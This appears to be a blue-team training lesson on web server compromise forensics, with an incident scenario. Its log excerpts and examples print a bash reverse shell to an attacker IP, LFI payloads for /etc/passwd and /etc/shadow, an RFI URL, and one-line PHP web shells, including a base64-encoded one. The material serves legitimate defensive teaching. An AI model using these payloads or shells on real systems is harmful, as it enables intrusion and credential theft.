Blue Team · Medium
Web Server Compromise Investigation

Master web server forensics — reading HTTP access logs to identify attack vectors from LFI to file upload to SQLi, understanding the HTTP response code as the exploitation confirmation signal, correlating web access timestamps with system process logs to prove web shell command execution, hunting all web shell variants, and scoping lateral movement from a compromised DMZ host before containment.

Medium Blue Team Path ⏱ 24 min read
Learning Progress
0%

Web Server Compromise Response

A compromised web server is one of the most impactful incidents a SOC handles. Attackers exploit vulnerable web applications, upload web shells, and use the foothold to pivot deeper into the network. The investigation must determine the initial entry point, what the attacker accessed, and whether they moved laterally.

Web server investigations correlate two primary data sources: the web access log (every HTTP request made to the server) and the system log (every process, authentication, and file change). Together they tell the complete story — the access log shows the attacker's requests, the system log confirms which requests caused code execution.

💡Web shells: A web shell is a script (PHP, JSP, ASPX, Python) uploaded to a web server that gives the attacker remote command execution via HTTP requests. They are small (sometimes a single line), hard to detect among legitimate files, persist across reboots, and provide full server control through the same port as normal web traffic — making them invisible to most network monitoring.

Why Web Server Compromises Are High Impact

A web server sits in a unique network position: it is internet-facing (accessible to attackers) while also having network access to internal systems (databases, application servers, internal APIs). A compromised web server is not just a compromised host — it is a foothold inside the network perimeter with an established internet communication channel. Every web server compromise must be investigated for lateral movement, because the web server is rarely the attacker's final objective.

The web process user (www-data, apache, nginx) typically has limited OS privileges, but attackers routinely escalate from there via local privilege escalation vulnerabilities, SUID binaries, or sudo misconfigurations found during post-exploitation enumeration.

📌 Non-Technical Analogy

A web server is like a post office window at the front of a large building — it is designed to face the public, accept incoming requests, and pass them through to internal departments. The access log is the post office's intake ledger, recording every parcel received. A web shell is like a staff member inside who is secretly working for someone outside — they look legitimate, sit at a normal desk, but when they receive a message that contains a hidden instruction, they carry it out and send the results back through the normal mail channel. The forensic job is to find that parcel in the intake ledger, identify which staff member handled it, and trace everywhere that staff member walked after receiving their instructions.

Web Server Investigation Methodology

Investigation Flow — Seven Steps
Step 1  Identify the alert: IDS signature, AV detection, or anomaly in log volume?
Step 2  Pull web access logs: find the attack request (SQLi, file upload, LFI, RCE)
Step 3  Identify attacker IP and user agent -- trace all their requests across the log
Step 4  Check system logs: did the web process spawn unexpected child processes?
Step 5  Find dropped files: web shells, backdoors, reverse shell scripts
Step 6  Scope lateral movement: did the attacker pivot from the web server inward?
Step 7  Contain, remediate, document

Web Server Investigation in Practice

Example 01Identifying the attack vector in access logs

Access logs record every HTTP request. Attack payloads appear in GET parameters, POST bodies, and URL paths. The HTTP response code determines whether exploitation succeeded.

# Normal request:
185.12.44.21 - - [14/May/2026:09:12:01] "GET /index.php?page=home HTTP/1.1" 200 4821
# LFI attack request:
185.12.44.21 - - [14/May/2026:09:14:33] "GET /index.php?page=../../../../etc/passwd HTTP/1.1" 200 2847
# HTTP 200 with non-zero body size = exploitation succeeded
# Attacker successfully read /etc/passwd via LFI vulnerability
# Note: 404 would mean the traversal failed; 200 confirms data was returned
Example 02Web shell upload and execution

After finding an upload endpoint, attackers disguise a PHP web shell as an image, upload it, then interact with it via HTTP GET requests with command parameters.

# File upload to /uploads/ endpoint (POST):
185.12.44.21 - - "POST /upload.php HTTP/1.1" 200 47
# Web shell accessed 3 minutes later via GET with cmd parameter:
185.12.44.21 - - "GET /uploads/img_5a3f.php?cmd=id HTTP/1.1" 200 38
185.12.44.21 - - "GET /uploads/img_5a3f.php?cmd=whoami HTTP/1.1" 200 38
185.12.44.21 - - "GET /uploads/img_5a3f.php?cmd=cat+/etc/shadow HTTP/1.1" 200 1892
# Web shell active -- attacker has command execution as www-data
# Response size 1892 bytes for /etc/shadow = file contents returned
Example 03Correlating with system process logs

Cross-reference the web shell access timestamps with system process creation logs. The same time, the same IP, apache spawning /bin/sh — this is the forensic chain of custody linking HTTP request to OS command execution.

# System log at the exact same timestamps as web shell access:
09:17:44 apache2[3291]: spawned child: /bin/sh -c id
09:17:44 apache2[3291]: spawned child: /bin/bash -i >& /dev/tcp/185.12.44.21/4444 0>&1
# Apache spawned bash with a bash TCP reverse shell
# Attacker now has a full interactive shell, not just web shell HTTP commands
# 185.12.44.21:4444 = C2 server and port. Check firewall logs for this connection.
Example 04Scoping lateral movement

After establishing a foothold, attackers use the web server as a pivot point to attack internal systems. Always check outbound connections from the web server after the compromise timestamp.

# Network connections from web server after compromise (09:17:44):
09:18:01  webserver → 10.0.0.1:22   SSH connection attempt (failed)
09:18:03  webserver → 10.0.0.5:22   SSH connection ACCEPTED
09:18:45  webserver → 10.0.0.10:3306 MySQL connection attempt
# Attacker pivoted from DMZ web server to internal SSH host 10.0.0.5
# 10.0.0.5 is now potentially compromised -- requires its own triage cycle
# MySQL on 10.0.0.10 = database server -- check if database was accessed

What You Need to Know

🌐
Web Shell
A script uploaded to a server that executes OS commands via HTTP requests. Small, persistent, survives reboots. Traffic looks like normal web requests — invisible to network monitoring.
📄
Access Log Analysis
Every HTTP request is logged. Attack payloads appear in GET params and POST bodies. HTTP 200 to an attack pattern confirms exploitation. Response body size confirms data was returned.
🔀
Log Correlation
Matching timestamps between web access logs and system process logs proves which HTTP requests caused which OS commands — the forensic chain of custody for web shell activity.
➡️
Lateral Movement
Web server as pivot point to internal systems. Always check outbound connections from the web server after the compromise timestamp — this determines whether the incident scope extends beyond the DMZ.

Web Application Attack Vectors — How Attackers Get In

Web server compromises begin with a vulnerability in the web application or its configuration. Understanding the common entry points helps analysts identify the attack request faster when scanning access logs — each vector has a distinct access log signature.

Injection Attacks

Local File Inclusion (LFI): Path traversal sequences (../) in parameters that load files. In access logs: ?page=../../etc/passwd or URL-encoded variants (%2e%2e%2f). HTTP 200 with body = exploitation confirmed.

SQL Injection: SQL syntax in parameters (UNION SELECT, 1' OR '1'='1, -- comment sequences). Look for URL-encoded quotes (%27), UNION, and error-based payloads in GET params or POST bodies.

Command Injection: OS command characters in parameters (;, |, &, $()). Often seen in ping/hostname/network-related functionality. HTTP 200 with unexpected body size = command output returned.

Upload and Execution

File Upload / Web Shell: POST to upload endpoint, then GET to the uploaded file with ?cmd= or similar. The uploaded .php/.jsp/.aspx file appearing in server-writable directories is the foothold.

Remote File Inclusion (RFI): ?page=http://attacker.com/shell.txt — the application fetches and executes a remote URL. Requires allow_url_include=on in PHP (disabled by default since PHP 5.2).

Deserialization: Malicious serialised objects in POST bodies or cookies. Signatures vary by framework — look for unusual POST bodies to endpoints that don't normally accept data, and apache/tomcat spawning OS processes afterwards.

HTTP Response Codes as Exploitation Signals

The HTTP response code in the access log is the analyst's first exploitation confirmation signal — before even checking system logs:

Finding Web Shells on the Filesystem

After identifying a web shell via access logs, the full investigation must find all web shells — not just the one that was actively used. Attackers often upload multiple shells with different names, or use file upload vulnerabilities to scatter shells across multiple directories. A single remaining shell after "remediation" means the attacker still has full access.

Web Shell Detection — Filesystem Commands
# Find PHP files in upload/writable directories (should not exist):
find /var/www/html/uploads -name "*.php" -o -name "*.phtml" -o -name "*.php5"
/var/www/html/uploads/img_5a3f.php  (web shell -- confirmed from access log)
/var/www/html/uploads/thumbnail.php5  (second shell -- different extension)

# Find recently modified PHP files (in the investigation window):
find /var/www/html -name "*.php" -newer /var/www/html/index.php -mtime -7
/var/www/html/uploads/img_5a3f.php
/var/www/html/include/config.php  (modified -- may contain injected backdoor)

# Grep for common web shell signatures in all PHP files:
grep -rl "eval\|base64_decode\|system\|exec\|passthru\|shell_exec" /var/www/html --include="*.php"
# These functions in PHP are legitimate -- look for them combined with user input:
# eval($_GET[...]) or system($_POST[...]) = web shell pattern

# Check modification times of all web directory files:
find /var/www/html -type f -newer /tmp/baseline -ls 2>/dev/null | sort -k8
Example 05Identifying a disguised web shell

Web shells are often disguised with innocuous names and encoded to evade simple grep searches. The eval(base64_decode()) pattern is the classic PHP obfuscation technique.

# File found: /var/www/html/uploads/thumbnail_1492.php
cat /var/www/html/uploads/thumbnail_1492.php
<?php eval(base64_decode('cGFzc3RocnUoJF9HRVRbJ2NtZCdd...')); ?>

# Decode the base64 payload to understand what it does:
echo 'cGFzc3RocnUoJF9HRVRbJ2NtZCdd...' | base64 -d
passthru($_GET['cmd']);
# Decoded: passes the 'cmd' GET parameter directly to the OS shell
# This is a one-line PHP web shell disguised with base64 encoding
# passthru() executes and displays output -- functionally identical to system()

# Also check: file extension tricks
# .php.jpg -- depends on server misconfiguration to execute
# .phtml, .php5, .phar -- alternate extensions that may be executable

Web Server as Pivot — Scoping Internal Compromise

A web server that is part of a DMZ architecture has constrained network access by design — it should only be able to reach specific internal services (database on a named port, application server on a named port) and nothing else. An attacker with shell access on the web server will immediately probe what they can reach from this vantage point. The connections they make define the scope of the lateral movement investigation.

Example 06Reconstructing the full attack chain

Correlating access log, system log, and network log to build the complete attack timeline from initial LFI reconnaissance through to internal SSH pivot.

--- Access log: reconnaissance phase ---
09:12:01  185.12.44.21  GET /index.php?page=home  200
09:12:44  185.12.44.21  GET /robots.txt  200
09:13:01  185.12.44.21  GET /index.php?page=about  200
# Attacker reading the application, identifying parameters

--- Access log: LFI discovery and exploitation ---
09:14:12  185.12.44.21  GET /?page=../../../../etc/passwd  200
09:14:33  185.12.44.21  GET /?page=../../../../etc/shadow  200 (1847 bytes)
# /etc/shadow returned -- password hashes exposed

--- Access log: file upload and web shell deployment ---
09:15:44  185.12.44.21  POST /upload.php  200
09:18:22  185.12.44.21  GET /uploads/img_5a3f.php?cmd=id  200
09:18:31  185.12.44.21  GET /uploads/img_5a3f.php?cmd=uname+-a  200
09:18:45  185.12.44.21  GET /uploads/img_5a3f.php?cmd=bash+-i+>&+/dev/tcp/185.12.44.21/4444+0>&1  200

--- System log: bash reverse shell spawned ---
09:18:45  apache2 spawned: /bin/bash -i >& /dev/tcp/185.12.44.21/4444 0>&1

--- Network log: lateral movement from web server ---
09:19:03  webserver (10.100.0.10) → db01 (10.0.0.10):3306  ACCEPTED
09:19:41  webserver (10.100.0.10) → app01 (10.0.0.5):22  ACCEPTED
# Attacker reached the database server and an internal app server
# Both are now potential compromise victims requiring independent triage
# Total time: initial request to internal pivot = 7 minutes

LFI to Reverse Shell to Internal Pivot — Full Timeline

IR ScenarioFile Upload Web Shell — DMZ Breach to Internal DB in 7 Minutes

Alert origin: WAF fires on LFI pattern at 09:14:12 — GET parameter containing ../../../../etc/passwd from 185.12.44.21. SOC analyst pulls full access log for this IP.

Access log reconstruction: 185.12.44.21 made 3 normal GET requests (reconnaissance), then two LFI requests — /etc/passwd returned (HTTP 200, 2847 bytes) and /etc/shadow returned (HTTP 200, 1847 bytes — password hashes confirmed). Three minutes later: POST to /upload.php (HTTP 200) followed by GET requests to /uploads/img_5a3f.php with cmd parameters — id, uname -a, then a bash reverse shell command.

System log correlation: At 09:18:45, apache2 spawned /bin/bash -i >& /dev/tcp/185.12.44.21/4444 0>&1. Firewall logs confirm an outbound connection from the web server to 185.12.44.21:4444 established at that timestamp and held open for 23 minutes.

Web shell hunt: Find command locates two PHP files in /uploads/: img_5a3f.php and thumbnail_1492.php. The second is base64-encoded but decodes to passthru($_GET['cmd']) — a backup shell. Both removed.

Lateral movement scope: Firewall logs show outbound connections from the web server (10.100.0.10) to db01 (10.0.0.10:3306, accepted) and app01 (10.0.0.5:22, accepted) at 09:19. Both internal hosts require independent triage cycles. Database audit logs checked — SELECT queries on the customers and payments tables during the attack window. Data exfiltration to be assessed.

Containment: Web server network quarantine. Both web shells removed. /etc/shadow hash exposure — all local account passwords reset. app01 and db01 isolated for malware triage. Vulnerability: file upload endpoint had no MIME type validation and the uploads directory was PHP-executable. Fix: validate file type server-side, move uploads outside webroot, deny PHP execution in uploads directory via .htaccess.

Core Concepts Summary

🌐
Web Shell Anatomy
PHP: <?php system($_GET['cmd']); ?> or eval(base64_decode(...)). ASPX, JSP variants exist. Disguised with alternate extensions (.phtml, .php5), encoded payloads, innocuous filenames. Find by: unusual .php in uploads, grep for eval+base64, recent modifications.
📄
HTTP 200 = Exploitation
HTTP 200 to an LFI path traversal = file read succeeded. HTTP 200 to ?cmd=id on a .php in /uploads = command executed. Response body size confirms content was returned. 404 = failed; 200 + body = exploited.
🔀
Timestamp Correlation
Same timestamp in access log and system log = causal link between HTTP request and OS command. apache2 spawning /bin/sh at the exact moment of a web shell GET proves which request triggered execution.
➡️
DMZ Pivot Risk
Web server in DMZ has network access to internal services by design. Check all outbound connections after compromise timestamp. Each accepted internal connection = additional scope, additional triage.
🔍
Attack Log Signatures
LFI: ../../ or %2e%2e%2f in GET params. SQLi: UNION SELECT, %27, --. Upload + shell: POST to upload endpoint, then GET to uploaded .php with ?cmd=. Attacker IP traces all three stages.
🐚
Reverse Shell vs Web Shell
Web shell: pull model, attacker sends HTTP requests. Reverse shell: push model, server connects out to attacker's listener. Reverse shell escalates from web shell — gives interactive terminal, bypasses some firewall rules.
🛡️
Upload Directory Hardening
Validate file type server-side (not just extension). Store uploads outside webroot or with no execute permissions. .htaccess deny PHP in /uploads/. Never serve uploaded files directly — proxy through code that validates content type.
📋
Evidence Preservation
Web server logs rotate. Preserve access.log and error.log before containment. Export system logs. Capture running processes and network connections before isolation. The logs are the evidence — lost logs mean incomplete forensics.
Ready to put it into practice?
Proceed to the Lab

You've covered the theory. Now apply it hands-on in the simulated environment.

Start Lab — IR07 Web Server Compromise
← Return to all labs